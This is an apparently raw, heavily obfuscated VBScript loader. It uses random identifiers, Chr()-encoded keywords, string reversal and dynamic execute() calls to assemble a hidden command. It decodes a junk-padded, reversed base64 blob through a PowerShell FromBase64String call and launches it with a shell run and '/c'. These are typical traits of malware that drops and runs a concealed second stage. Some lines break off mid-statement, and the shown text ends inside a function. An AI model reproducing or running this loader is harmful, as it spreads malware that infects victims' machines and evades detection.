AXUudZOGWRpQTONhLBOwZZyKwGBWWLHhNcSSDMGdfOBWBhjJowWyWDkXDkOwZZynpyOZSPOUydGjDDKuKODikSBSWZOWDywZUUDpnLLZQNGkkWWihlGLRBpYkWtLOkemGnZoDTxKcdxWSYcGLOGZyRTWpyOKzGrhdecwIjQJkLzdDOODNuaDrrWWLDRHdZQlYdhaOQDQ(mkCWcLMwnRDLJUkODcMqYeZQqJcrcULAnbPKyrUegUcWcAoDUyLmcyQkcQXYCUmTiDTexsgOmcdoccGPGHvLbAcPWCTlaDYUOrWcOxUczUvcxHcLWcvAWcDcmUjxSctnUTeBLUAUbqeWAtMNNTNADWocikSGQwKWqIbqwNmsQAKqvbgaQWtLjKrWUCkLqemchqANSyyL + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",mkCWcLMwnRDLJUkODcMqYeZQqJcrcULAnbPKyrUegUcWcAoDUyLmcyQkcQXYCUmTiDTexsgOmcdoccGPGHvLbAcPWCTlaDYUOrWcOxUczUvcxHcLWcvAWcDcmUjxSctnUTeBLUAUbqeWAtMNNTNADWocikSGQwKWqIbqwNmsQAKqvbgaQWtLjKrWUCkLqemchqANSyyL) )
LAxqPWLpStWjdBJLOCLWafjWWNCTxKpvZAoxKGdGpBCNCdQmoCGZxKwAcwLUKMZAOPSfOfwQZlWQcccccKWWbUCoNKSeBdUMQzreRWKgcUKSRxPWBlKPwMWjhdLWvSgUdAfgKysUANPNUQjUXSUPdwUPOtvcgpmBNfAWDyDqwoONWZlBvqKKOmTNKUWpNfDlWNvKvQKj = AXUudZOGWRpQTONhLBOwZZyKwGBWWLHhNcSSDMGdfOBWBhjJowWyWDkXDkOwZZynpyOZSPOUydGjDDKuKODikSBSWZOWDywZUUDpnLLZQNGkkWWihlGLRBpYkWtLOkemGnZoDTxKcdxWSYcGLOGZyRTWpyOKzGrhdecwIjQJkLzdDOODNuaDrrWWLDRHdZQlYdhaOQDQ("cmqUKuPWNJcNtUrnOsqWNMNKUrZMWlBxYZWwrfHocWAnWOWuPtwNsPPxUgUUHzcwUScxDKJggAPUcpHUKUKpZQNQWAJcDTsXzwTRXmOTKWrBrlIsfRQPrmsPJlMGGTUYUicSKCBQWgwtPODMNOlDObXsOfcLCKuJAQouwZMOzcUvkPZBwaMuzBGPlJKyDYPKAPQPZLCDHUdqUKuPWNJcNtUrnOsqWNMNKUrZMWlBxYZWwrfHocWAnWOWuPtwNsPPxUgUUHzcwUScxDKJggAPUcpHUKUKpZQNQWAJcDTsXzwTRXmOTKWrBrlIsfRQPrmsPJlMGGTUYUicSKCBQWgwtPODMNOlDObXsOfcLCKuJAQouwZMOzcUvkPZBwaMuzBGPlJKyDYPKAPQPZLCDHU.exqUKuPWNJcNtUrnOsqWNMNKUrZMWlBxYZWwrfHocWAnWOWuPtwNsPPxUgUUHzcwUScxDKJggAPUcpHUKUKpZQNQWAJcDTsXzwTRXmOTKWrBrlIsfRQPrmsPJlMGGTUYUicSKCBQWgwtPODMNOlDObXsOfcLCKuJAQouwZMOzcUvkPZBwaMuzBGPlJKyDYPKAPQPZLCDHUe /c pqUKuPWN
DWcUWlxOmykCWmgmNhrAyGReWaqUdMWGfXdqvMQCrqwMPaqDcemcMMGdqxWdUczrGmdkxBXSWUvfUchUklwgPqNQkXWKbUCUOyUlKjSaPvWrTPyDQYNqaXZMfHixejqNYORkOOeROLZTZSYgGcZGDdgoTeUjIWcPkgzkCYWPwqPMUPUkPkADCBcnvkGgqkKIUTwKBeOWo.run LAxqPWLpStWjdBJLOCLWafjWWNCTxKpvZAoxKGdGpBCNCdQmoCGZxKwAcwLUKMZAOPSfOfwQZlWQcccccKWWbUCoNKSeBdUMQzreRWKgcUKSRxPWBlKPwMWjhdLWvSgUdAfgKysUANPNUQjUXSUPdwUPOtvcgpmBNfAWDyDqwoONWZlBvqKKOmTNKUWpNfDlWNvKvQKj, 0, true
end if
Function AXUudZOGWRpQTONhLBOwZZyKwGBWWLHhNcSSDMGdfOBWBhjJowWyWDkXDkOwZZynpyOZSPOUydGjDDKuKODikSBSWZOWDywZUUDpnLLZQNGkkWWihlGLRBpYkWtLOkemGnZoDTxKcdxWSYcGLOGZyRTWpyOKzGrhdecwIjQJkLzdDOODNuaDrrWWLDRHdZQlYdhaOQDQ(bKhetccxUNcLpKMUvMcuNUMtcPMxPaWydKnKBoyLdKMBMeKccfUxitbuzbHbtrbOMGMUiHurxMqAszNjNAHcSQMbgtMOelbreKliCeNxtcnNeeKsQinPUWxDuRoeYWYpyOUhPBMKKlDBIjLNNMNTlUkKMnGNAxrQoNKcPBpqbZWxHzqauebPotxgNLMWxUditxyZGcBL,WBPdNcrNhCPMNUQvqZrcCUcJBlZBTWNushqDSOGUcUZxZdRPReDIUWbDQbPUvibJNHaUqXDcInWtsQnNntoGrPZAUvahPcUilJcSNlnjJPqCAPDuPUqYvdNtcJKlGNGBGJUWTDZLhqcxdHDYCaYlcvLDNLQnPNcPOIhBlxGWbZBIokScUddTKNBUntaNIUcUxIusQuSM,XksKgjOUSGbQnHHUNfOQGTPSWvfALZXKqzidfIMTWHfCfKIbiAlBTeLDpLczUaLdvOnTBNDIBYDoGpCkCoWbOhfUnUnYcTzaSSTscSCbSDievcdNhTiSUzUDQjUSOXOGMdTaLCfNzihCUUGGenGJTUcdvLmCAUIhIdzWvCGDLNdBWfuNnKcLUgAnCUnXBTWTtBKUmPfQ)
cwXGlnPJuDcBlOTcSOsxcPZXYcXNLKzPHULXjNcNsMfCGCsXbXcbsCWLhcXLUAwKPOgRcsUqXLjSgXbUnPScsXxARAXcnLBUCDGPUfqsUWXhNSWUTrnMyWxNSywCIrMCbSZcJJIUaJsNsjrTWOxPpLcpAXYafzUWngwcBiXUnWSXYWGcWKCXBjAnjcAcWcDfcLSUsbCZ = Chr(82)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)
oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci = "AXUudZOGWRpQTONhLBOwZZyKwGBWWLHhNcSSDMGdfOBWBhjJowWyWDkXDkOwZZynpyOZSPOUydGjDDKuKODikSBSWZOWDywZUUDpnLLZQNGkkWWihlGLRBpYkWtLOkemGnZoDTxKcdxWSYcGLOGZyRTWpyOKzGrhdecwIjQJkLzdDOODNuaDrrWWLDRHdZQlYdhaOQDQ = "
oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci = oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci + cwXGlnPJuDcBlOTcSOsxcPZXYcXNLKzPHULXjNcNsMfCGCsXbXcbsCWLhcXLUAwKPOgRcsUqXLjSgXbUnPScsXxARAXcnLBUCDGPUfqsUWXhNSWUTrnMyWxNSywCIrMCbSZcJJIUaJsNsjrTWOxPpLcpAXYafzUWngwcBiXUnWSXYWGcWKCXBjAnjcAcWcDfcLSUsbCZ
oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci = oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci + "(bKhetccxUNcLpKMUvMcuNUMtcPMxPaWydKnKBoyLdKMBMeKccfUxitbuzbHbtrbOMGMUiHurxMqAszNjNAHcSQMbgtMOelbreKliCeNxtcnNeeKsQinPUWxDuRoeYWYpyOUhPBMKKlDBIjLNNMNTlUkKMnGNAxrQoNKcPBpqbZWxHzqauebPotxgNLMWxUditxyZGcBL ,WBPdNcrNhCPMNUQvqZrcCUcJBlZBTWNushqDSOGUcUZxZdRPReDIUWbDQbPUvibJNHaUqXDcInWtsQnNntoGrPZAUvahPcUilJcSNlnjJPqCAPDuPUqYvdNtcJKlGNGBGJUWTDZLhqcxdHDYCaYlcvLDNLQnPNcPOIhBlxGWbZBIokScUddTKNBUntaNIUcUxIusQuSM, XksKgjOUSGbQnHHUNfOQGTPSWvfALZXKqzidfIMTWHfCfKIbiAlBTeLDpLczUaLdvOnTBNDIBYDoGpCkCoWbOhfUnUnYcTzaSSTscSCbSDievcdNhTiSUzUDQjUSOXOGMdTaLCfNzihCUUGGenGJTUcdvLmCAUIhIdzWvCGDLNdBWfuNnKcLUgAnCUnXBTWTtBKUmPfQ)"
execute(oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci)
End Function
Function eKRiX(bKhetccxUNcLpKMUvMcuNUMtcPMxPaWydKnKBoyLdKMBMeKccfUxitbuzbHbtrbOMGMUiHurxMqAszNjNAHcSQMbgtMOelbreKliCeNxtcnNeeKsQinPUWxDuRoeYWYpyOUhPBMKKlDBIjLNNMNTlUkKMnGNAxrQoNKcPBpqbZWxHzqauebPotxgNLMWxUditxyZGcBL)
pSOiKBRHJTnDKcTGNcQCkspIIUODrYZsLcrOLrHrQkNoKuQWzIHzZoNrHcirKTcORcAdcUcKcGLkZOzwBsYcZOnTdDTUXGDwkTKscUKtzaTMsNYwTLskRUCrkNqucLkohYpnHZcsqZtstzLTNcCALrLkrIIaUOGkBAckWJizpKNODkikkNkWDMTpLnPLKnqULGYcUzki = Chr(83)&Chr(116)&Chr(114)&Chr(82)&Chr(101)&Chr(118)&Chr(101)&Chr(114)&Chr(115)&Chr(101)
oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci = "eKRiX = "
oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci = oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci + pSOiKBRHJTnDKcTGNcQCkspIIUODrYZsLcrOLrHrQkNoKuQWzIHzZoNrHcirKTcORcAdcUcKcGLkZOzwBsYcZOnTdDTUXGDwkTKscUKtzaTMsNYwTLskRUCrkNqucLkohYpnHZcsqZtstzLTNcCALrLkrIIaUOGkBAckWJizpKNODkikkNkWDMTpLnPLKnqULGYcUzki
oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci = oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci + "(bKhetccxUNcLpKMUvMcuNUMtcPMxPaWydKnKBoyLdKMBMeKccfUxitbuzbHbtrbOMGMUiHurxMqAszNjNAHcSQMbgtMOelbreKliCeNxtcnNeeKsQinPUWxDuRoeYWYpyOUhPBMKKlDBIjLNNMNTlUkKMnGNAxrQoNKcPBpqbZWxHzqauebPotxgNLMWxUditxyZGcBL)"
execute(oRrAhPoDAyYiOeUoUhoKyocMIShUUclauLuWccKnWehDhAyYUKiLaNwPmwBkgIwwugKovgPmLfpLUmnWnLqKvKhLYgKGdZkICGZbKCnGMaucedWdKauTosDcKOeCqlqWKwofUjhjLBDDvOLOcKOaZohWuXDnIDmKceLISDfpwtBLqpZPcAOUehUYnQKlLoWaULaDDWci)
End Function
Function CwHkcKJNfAIPerrycOJaAWoInUOOmmbmPWZcDHLJdrOmOkoImpxIaNDuiDWxpQDsucpWcuuGILRpliCMCpclLHOWjppxtqxQuJqCguCoIMZkhtcyHaZCyJNoaqjuqbqyLsWJmYOTWgumdAwAkpAjqyJcuJoCGNGHHfWnUmRRDUUIcSmWWkimjcOjCQpbIWdaXImLoKDP(UbYgkKUYKhpONpHGTtULhsGoOwtUxSaKPDXToWxozptrtgWpqTtKuUWDmWGUUPWrcbisMzDJKqcCemDxDCOnxPtekUiJwCUPNgCojNDGogXPWwTxPuXPGvYKLoKNgagNxrsnxWtMDGnrlOXyPiyBCGPTcqBDqYJPWbDOwrycWPrKOUkbWgyxKkUkDKiaKszuTKKcBDoO,TiPyxpAnODlxSTYbWDAeDLuOGfDyRlXWGKgPSJccXTDADyOlYcbOPseMNeIvNeeOYvlLNCMBOBSBRNASABfAZZDgeNlaAxveYSxcQYAPOhgIlAPmZPgWbNnQeWLYcXcNcOLeReDmKjbAWyMrIlroxbxPYMsAWnBZJNKGfAJSeyKOfcfNRyDRLxyeAglXOLXPcOWNsGSx,NUkkosfDsrnDNtYglffNcNLeZRWAaafehOWcyWTWtLfGfADNHgfDfoBpSBvCpGBJqQGwUwBGUHWDsSwljPXcxcWCGplWUsCUSvLQGJwAmLQZeaKlxbWJaOnqNNcJWDyqnlUAAOpeOkqbcdWNKlNMWxTKfyWwbDqxLbJZRxIGBHnLTgxROkTAJqAGfDGDLwIPqLcNWcyj)
CwHkcKJNfAIPerrycOJaAWoInUOOmmbmPWZcDHLJdrOmOkoImpxIaNDuiDWxpQDsucpWcuuGILRpliCMCpclLHOWjppxtqxQuJqCguCoIMZkhtcyHaZCyJNoaqjuqbqyLsWJmYOTWgumdAwAkpAjqyJcuJoCGNGHHfWnUmRRDUUIcSmWWkimjcOjCQpbIWdaXImLoKDP = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(UbYgkKUYKhpONpHGTtULhsGoOwtUxSaKPDXToWxozptrtgWpqTtKuUWDmWGUUPWrcbisMzDJKqcCemDxDCOnxPtekUiJwCUPNgCojNDGogXPWwTxPuXPGvYKLoKNgagNxrsnxWtMDGnrlOXyPiyBCGPTcqBDqYJPWbDOwrycWPrKOUkbWgyxKkUkDKiaKszuTKKcBDoO, TiPyxpAnODlxSTYbWDAeDLuOGfDyRlXWGKgPSJccXTDADyOlYcbOPseMNeIvNeeOYvlLNCMBOBSBRNASABfAZZDgeNlaAxveYSxcQYAPOhgIlAPmZPgWbNnQeWLYcXcNcOLeReDmKjbAWyMrIlroxbxPYMsAWnBZJNKGfAJSeyKOfcfNRyDRLxyeAglXOLXPcOWNsGSx, NUkkosfDsrnDNtYglffNcNLeZRWAaafehOWcyWTWtLfGfADNHgfDfoBpSBvCpGBJqQGwUwBGUHWDsSwljPXcxcWCGplWUsCUSvLQGJwAmLQZeaKlxbWJaOnqNNcJWDyqnlUAAOpeOkqbcdWNKlNMWxTKfyWwbDqxLbJZRxIGBHnLTgxROkTAJqAGfDGDLwIPqLcNWcyj)
End Function
Function UAUfnvNflDOzZOlfBiNIDcOANmiakNDBgcWaIpJKiOiRifYOGKcfggNPcNDfDHNGfvmcMAPZfRGQKcRRRQPpcZislDmSNafHbGaAPbRKAfWDnNaRZgWTflfeIqtbzDzCJGcskMiUcNWRlWOZDmZOafGafNBRKfZZpXcNmRJGNqmfPvdbBfOktnalRpmDfcigJfBNBPIz(UbYgkKUYKhpONpHGTtULhsGoOwtUxSaKPDXToWxozptrtgWpqTtKuUWDmWGUUPWrcbisMzDJKqcCemDxDCOnxPtekUiJwCUPNgCojNDGogXPWwTxPuXPGvYKLoKNgagNxrsnxWtMDGnrlOXyPiyBCGPTcqBDqYJPWbDOwrycWPrKOUkbWgyxKkUkDKiaKszuTKKcBDoO)
UAUfnvNflDOzZOlfBiNIDcOANmiakNDBgcWaIpJKiOiRifYOGKcfggNPcNDfDHNGfvmcMAPZfRGQKcRRRQPpcZislDmSNafHbGaAPbRKAfWDnNaRZgWTflfeIqtbzDzCJGcskMiUcNWRlWOZDmZOafGafNBRKfZZpXcNmRJGNqmfPvdbBfOktnalRpmDfcigJfBNBPIz = StrReverse(UbYgkKUYKhpONpHGTtULhsGoOwtUxSaKPDXToWxozptrtgWpqTtKuUWDmWGUUPWrcbisMzDJKqcCemDxDCOnxPtekUiJwCUPNgCojNDGogXPWwTxPuXPGvYKLoKNgagNxrsnxWtMDGnrlOXyPiyBCGPTcqBDqYJPWbDOwrycWPrKOUkbWgyxKkUkDKiaKszuTKKcBDoO)
End Function
lWNJguUKGgGPjKhwrSURXNITtAYoSXLrfcfRUtWjWWSMSaDjYOKbpKqTXqpXfeqBuNhWYnblXreDQXXdkiNNcrYvMfhJJLXRMXWaCCXoySxOxWCdeYfhXnGSRJUCghKcQUcHGUWJcUydrkvknhkLgjKCYheXHZTepPitAYAUqGDpKDPwsJtGKToMODhhpWAUxprOetUx = " "
RNWPPUwgwKPPvypPcTwbKDvcBunQnLGacyJaotUbXyTHTYoMcIqfSSGWSGNWCAYWyLgqnQTQYscoSSSTSsOlKOngtCghlQvAiPQfYiSxhmSzmlnAJSJyPRgJWjKiLzPDrwDWUWTKyAYHULJfYgfWUiOnyyWSLMHJaqyBuKXWGHNfOJRWYPrUKKTtLNJGfqXeLaaNWdoP = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
NiNRRxcWWDIXJgrUvDcxqaLRqKGXbdfczLJIrJslbgDIDSqmcgiNbriKtGzRcZicZIWQNeoJNzCqctWGWqWuftDgjcWWyOReJPOUcKcihYSnrWIAyUJrDcIhxcLKqYOGicawxAakLvffexacnWcWSYWDCKqcorGycMKqKebQiKYcWpXyDRKBOGljcJqYcQbDWccGqyrh = UAUfnvNflDOzZOlfBiNIDcOANmiakNDBgcWaIpJKiOiRifYOGKcfggNPcNDfDHNGfvmcMAPZfRGQKcRRRQPpcZislDmSNafHbGaAPbRKAfWDnNaRZgWTflfeIqtbzDzCJGcskMiUcNWRlWOZDmZOafGafNBRKfZZpXcNmRJGNqmfPvdbBfOktnalRpmDfcigJfBNBPIz("#$@#kC#$@#zB#$@#d#$@#4G#$@#lBQb#$@#UH#$@#nBgc#$@#EG#$@#k#$@##$@#I#$@#wC#$@#sB#$@#b#$@#UH#$@#uB#$@#J#$@#gC#$@#lBwa#$@#8G#$@#2Bgb#$@#kE#$@#u#$@##$@#" & RNWPPUwgwKPPvypPcTwbKDvcBunQnLGacyJaotUbXyTHTYoMcIqfSSGWSGNWCAYWyLgqnQTQYscoSSSTSsOlKOngtCghlQvAiPQfYiSxhmSzmlnAJSJyPRgJWjKiLzPDrwDWUWTKyAYHULJfYgfWUiOnyyWSLMHJaqyBuKXWGHNfOJRWYPrUKKTtLNJGfqXeLaaNWdoP & lWNJguUKGgGPjKhwrSURXNITtAYoSXLrfcfRUtWjWWSMSaDjYOKbpKqTXqpXfeqBuNhWYnblXreDQXXdkiNNcrYvMfhJJLXRMXWaCCXoySxOxWCdeYfhXnGSRJUCghKcQUcHGUWJcUydrkvknhkLgjKCYheXHZTepPitAYAUqGDpKDPwsJtGKToMODhhpWAUxprOetUx & RNWPPUwgwKPPvypPcTwbKDvcBunQnLGacyJaotUbXyTHTYoMcIqfSSGWSGNWCAY
NiNRRxcWWDIXJgrUvDcxqaLRqKGXbdfczLJIrJslbgDIDSqmcgiNbriKtGzRcZicZIWQNeoJNzCqctWGWqWuftDgjcWWyOReJPOUcKcihYSnrWIAyUJrDcIhxcLKqYOGicawxAakLvffexacnWcWSYWDCKqcorGycMKqKebQiKYcWpXyDRKBOGljcJqYcQbDWccGqyrh = CwHkcKJNfAIPerrycOJaAWoInUOOmmbmPWZcDHLJdrOmOkoImpxIaNDuiDWxpQDsucpWcuuGILRpliCMCpclLHOWjppxtqxQuJqCguCoIMZkhtcyHaZCyJNoaqjuqbqyLsWJmYOTWgumdAwAkpAjqyJcuJoCGNGHHfWnUmRRDUUIcSmWWkimjcOjCQpbIWdaXImLoKDP( NiNRRxcWWDIXJgrUvDcxqaLRqKGXbdfczLJIrJslbgDIDSqmcgiNbriKtGzRcZicZIWQNeoJNzCqctWGWqWuftDgjcWWyOReJPOUcKcihYSnrWIAyUJrDcIhxcLKqYOGicawxAakLvffexacnWcWSYWDCKqcorGycMKqKebQiKYcWpXyDRKBOGljcJqYcQbDWccGqyrh, RNWPPUwgwKPPvypPcTwbKDvcBunQnLGacyJaotUbXyTHTYoMcIqfSSGWSGNWCAYWyLgqnQTQYscoSSSTSsOlKOngtCghlQvAiPQfYiSxhmSzmlnAJSJyPRgJWjKiLzPDrwDWUWTKyAYHULJfYgfWUiOnyyWSLMHJaqyBuKXWGHNfOJRWYPrUKKTtLNJGfqXeLaaNWdoP + lWNJguUKGgGPjKhwrSURXNITtAYoSXLrfcfRUtWjWWSMSaDjYOKbpKqTXqpXfeqBuNhWYnblXreDQXXdkiNNcrYvMfhJJLXRMXWaCCXoySxOxWCdeYfhXnGSRJUCghKcQUcHGUWJcUydrkvknhkLgjKCYheXHZTepPitAYAUqGDpKDPwsJtGKToMODhhpWAUxprOetUx + RNWPPUwgwKP
Function SRRWKNLIfLDeqJGUsOrWqWKvmvywaKnKQUiwLKNGpWOAWlKMWWcYCmWAZWlWuUNOUUdzTPfIqPMazZkfgPWDwiJMvlmswcWPLKUUUUneUYPphuYqHqUdIcHwvMUUxPODWlRuvWDkUGIcUIAjMmjpJKcgwUNyHSDSMQCmdNLNWZOZWPHlhUHrUnwvPSvXZzmXXMcaNlLy(str)
Dim i, VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT
VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT = ""
For i = Len(str) To 1 Step -1
VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT = VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT & Mid(str, i, 1)
Next
SRRWKNLIfLDeqJGUsOrWqWKvmvywaKnKQUiwLKNGpWOAWlKMWWcYCmWAZWlWuUNOUUdzTPfIqPMazZkfgPWDwiJMvlmswcWPLKUUUUneUYPphuYqHqUdIcHwvMUUxPODWlRuvWDkUGIcUIAjMmjpJKcgwUNyHSDSMQCmdNLNWZOZWPHlhUHrUnwvPSvXZzmXXMcaNlLy = VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT
End Function
Function FWcnKGpHAZLcWnpRYUKWMdPTHMXKHHPHQOMBUBVcOZslPXOWQJBHlsPQpOopJZALJCZZSYCJZUZGCHEJEAnMurrJMBBlHKInZnAMynERUOnOZDWnCLMdgnInoKHQXpTPBQDUKvQUWlMdHlKLFGLWDgAALZnNKHTJUKCYdCIHovDZCgUpXQBnnWGDHDvcWDYlOsKpQrWA()
Dim asciiString
asciiString = Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(67)&Chr(111)&Chr(110)&Chr(118)&Chr(101)&Chr(114)&Chr(116)&Chr(93)&Chr(58)&Chr(58)&Chr(70)&Chr(114)&Chr(111)&Chr(109)&Chr(98)&Chr(97)&Chr(115)&Chr(101)&Chr(54)&Chr(52)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)&Chr(36)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(103)&Chr(111)&Chr(46)&Chr(114)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)&Chr(40)&Chr(39)&Chr(35)&Chr(64)&Chr(36)&Chr(35)&Chr(39)&Chr(44)&Chr(39)&Chr(65)&Chr(39)&Chr(41)&Chr(32)&Chr(41)&Chr(32)&Chr(41)
FWcnKGpHAZLcWnpRYUKWMdPTHMXKHHPHQOMBUBVcOZslPXOWQJBHlsPQpOopJZALJCZZSYCJZUZGCHEJEAnMurrJMBBlHKInZnAMynERUOnOZDWnCLMdgnInoKHQXpTPBQDUKvQUWlMdHlKLFGLWDgAALZnNKHTJUKCYdCIHovDZCgUpXQBnnWGDHDvcWDYlOsKpQrWA = asciiString
End Function
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = SRRWKNLIfLDeqJGUsOrWqWKvmvywaKnKQUiwLKNGpWOAWlKMWWcYCmWAZWlWuUNOUUdzTPfIqPMazZkfgPWDwiJMvlmswcWPLKUUUUneUYPphuYqHqUdIcHwvMUUxPODWlRuvWDkUGIcUIAjMmjpJKcgwUNyHSDSMQCmdNLNWZOZWPHlhUHrUnwvPSvXZzmXXMcaNlLy("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & NiNRRxcWWDIXJgrUvDcxqaLRqKGXbdfczLJIrJslbgDIDSqmcgiNbriKtGzRcZicZIWQNeoJNzCqctWGWqWuftDgjcWWyOReJPOUcKcihYSnrWIAyUJrDcIhxcLKqYOGicawxAakLvffexacnWcWSYWDCKqcorGycMKqKebQiKYcWpXyDRKBOGljcJqYcQbDWccGqyrh & "'"
Function PPrAQmacPuLrGDapsxzGOQxxyOtLyTxmwWKKHpGrWUKdNUrRxhWmKHUqarTPhdDHaLNGKsWXGxukOyBaBDDOHuDXIWWdmUHLdLPNBrBpxKIQczDKOHWtfLHDTWXwUPpUpqpiWhwwDfItTfWLPmptzfPWIGdNLwKIxQLWQWHLTxxuPcUatwpAARkpyYBXRmsKUKWPquDY()
Dim asciiStringg
